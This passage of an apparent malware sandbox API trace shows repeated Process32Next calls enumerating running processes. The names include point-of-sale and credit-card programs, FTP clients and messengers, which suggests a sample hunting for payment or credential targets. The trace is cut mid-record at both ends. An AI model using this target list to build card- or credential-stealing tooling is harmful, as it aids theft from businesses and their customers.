th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0272.119] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0272.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0272.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0272.127] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0272.164] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0272.167] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0272.170] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0272.172] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0272.175] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0272.178] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0272.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0272.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0272.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0272.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0272.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0272.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0272.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0272.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0272.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0272.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0272.205] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0272.257] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0272.259] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0272.262] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0272.264] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.269] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0272.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0272.276] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.279] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0272.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0272.283] CloseHandle (hObject=0x344) returned 1 [0272.283] Sleep (dwMilliseconds=0x64) [0272.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0272.384] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.386] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.388] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.391] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.393] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.415] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.417] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.420] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.425] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.427] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.430] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.432] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.434] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.436] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.438] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.490] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.493] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.499] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.502] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.504] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.506] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.512] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.514] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0272.519] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0272.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.523] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.525] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0272.527] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0272.529] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0272.531] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0272.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0272.585] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0272.587] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0272.589] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0272.591] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0272.594] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0272.596] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0272.598] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0272.601] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0272.603] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0272.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0272.607] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0272.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0272.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0272.614] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0272.616] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0272.618] Process32Next (in: 